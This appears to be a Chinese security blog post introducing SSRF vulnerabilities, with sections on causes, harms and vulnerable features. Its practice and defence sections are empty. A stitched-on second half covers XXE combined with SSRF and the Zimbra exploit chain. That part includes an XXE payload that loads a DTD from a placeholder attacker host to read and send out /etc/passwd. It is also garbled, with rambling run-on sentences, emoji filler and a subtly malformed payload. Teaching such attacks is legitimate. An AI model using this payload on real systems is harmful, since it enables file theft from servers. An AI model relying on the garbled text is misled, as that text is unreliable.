漏洞之SSRF攻击

SSRF (服务端请求伪造)

1. SSRF是什么

SSRF,  (Server-side Request Forge, 服务端请求伪造) 是一种由攻击者构造形成的一种由服务端发起请求的一个漏洞。一般情况下, SSRF的攻击目标是从外网无法访问的内网系统。正因为它是由服务端发起的, 它能够请求到与它相连而与外网相隔离的内部系统

通俗理解一点就是, A雇佣了一个刺客B去解决某人C。

 

2. 漏洞的产生

由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。允许用户使用自定义的url加载图片、下载等, 且没有对目标地址做过滤和限制,  这就造成了漏洞的产生。

典型的例子就是, 百度识图:

在输入一个图片的url时,  如果不进行过滤和限制的话, 就可能造成SSRF。

 

3. 危害

1)、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息; ( 端口的Banner会回显出来)

2)、攻击运行在内网或本地的应用程序(比如溢出);

3)、对内网Web应用进行指纹识别,通过访问默认文件实现;

4)、攻击内外网的Web应用,主要是使用Get参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等);

5)、利用File协议读取本地文件。

6)、DOS攻击(请求大文件,始终保持连接Keep-Alive Always)

 

4. 漏洞出现点

1)通过URL地址分享网页内容;  从URL关键字中寻找

2)转码服务

3)在线翻译

4)通过URL地址加载或下载图片

5)图片、文章收藏功能

6)未公开的api实现以及其他调用URL的功能

 

5. 实战

 

6. 防范

 

(待更新...)

### XXE漏洞SSRF的关系 XXE(XML External Entity)漏洞允许攻击者通过恶意构造的外部实体引用,读取服务器上的文件或其他资源。而SSRF(Server-Side Request Forgery)是一种让目标服务器发起请求到指定地址的安全问题。两者可以通过特定方式结合使用,在某些场景下实现更复杂的攻击效果。 例如,XXE可以和SSRF一起用于探测其他内网主机的信息,基于HTTP协议进行端口扫描或服务发现[^1]。这种组合能够使攻击范围扩大至内部网络中的更多资产。 --- ### Zimbra RCE漏洞背景及其利用关系 在一些复杂的应用程序中,多个安全缺陷可能相互关联形成更大的威胁模型。比如Zimbra远程代码执行漏洞(CVE-2019-9670),其完整的RCE链依赖于另一个SSRF漏洞(CVE-2019-9621)[^2]。尽管官方文档提到需要两个漏洞配合才能达成最终的目标——即完全控制受害者的机器;但实际上也有方法绕过此限制单独触发该功能模块从而直接获得shell权限的情况发生(具体细节未公开披露)。 这表明即使缺少明确标注出来的辅助条件也可能找到替代路径去完成整个攻击链条的设计意图之外的操作行为模式转换过程中的可能性探索方向之一就是寻找是否存在类似的逻辑错误或者配置不当之处作为突破口来进行尝试突破现有的防护机制进而达到预期目的的同时还应该考虑到实际环境中可能会遇到的各种阻碍因素影响最终成功率高低程度不同而已。 --- ### 复现步骤概述 为了验证上述理论假设成立与否并通过实践检验得出结论证明观点正确无误的话,则需按照如下方式进行操作: #### 准备工作 1. **环境搭建**: 使用虚拟机创建隔离测试环境,安装易受攻击版本的服务软件实例。 2. **工具准备**: 下载并启动Burp Suite社区版用作中间拦截器角色以便后续手动调整数据包内容后再转发出去供进一步分析研究之用。 #### 实际演练部分 ##### 设置代理连接 在浏览器里设定好相应的出口通道指向本地监听端口号之后加载含有潜在风险点位链接地址页面时自动将所有通信流量导向我们事先布置好的陷阱装置等待捕捉感兴趣的数据片段回来审查是否有异常现象出现值得深入挖掘下去的价值所在之处存在即可视为成功捕获有效样本素材可供下一步骤处理使用前先保存原始状态副本留档备案以防万一丢失重要线索证据材料造成无法挽回的局面后果严重必须谨慎对待每一个环节都不能马虎大意才行啊同志们加油干吧! ```plaintext GET /vuln/xxetest.php HTTP/1.1 Host: target-site.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ``` ##### 构造Payload 接着把刚才截获下来的未经修改过的原样复制粘贴过来放到重复发送窗口里面替换掉原有的参数字段值换成精心设计制作而成的新颖独特而又充满危险性的特殊字符序列结构形式表现出来看看会发生什么有趣的事情呢?让我们拭目以待吧朋友们! ```xml <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test[ <!ENTITY % remote SYSTEM "http://attacker-server/payload.dtd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'file:///etc/passwd'>"> ]> <reset> <login>admin;%send;</login> <secret>Any bugs?</secret> </reset> ``` 注意这里引入了一个外部DTD定义文件`payload.dtd`,它包含了更多的指令用来指示解析引擎如何去构建新的实体标签嵌套层次关系直到最后一步才真正暴露核心秘密武器位置信息泄露给外界观察员看到为止才算圆满完成任务使命结束啦哈哈哈哈哈!!! --- ### 结果评估标准说明 当以上所有的准备工作都顺利完成以后就可以静候佳音传来好消息咯~ 如果一切正常顺利的话那么你应该能够在自己的监控屏幕上清晰地看见来自受害者那边传来的回应消息当中携带了原本不应该被轻易获取得到的秘密情报资料比如说操作系统用户名列表之类的敏感隐私类别的东西就充分证明我们的实验取得了圆满的成功成果喜人呀各位小伙伴们快来庆祝一番吧😊🎉👏 当然啦除了单纯追求技术层面的乐趣体验之外更重要的是要从中吸取教训总结经验不断提高自身的网络安全意识水平时刻保持警惕防止自己成为下一个倒霉蛋哦记住一句话叫做“道高一尺魔高一丈”永远不要低估敌人可能拥有的强大实力好吗谢谢大家听我说完这些话希望对你们有所帮助再见👋~ ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值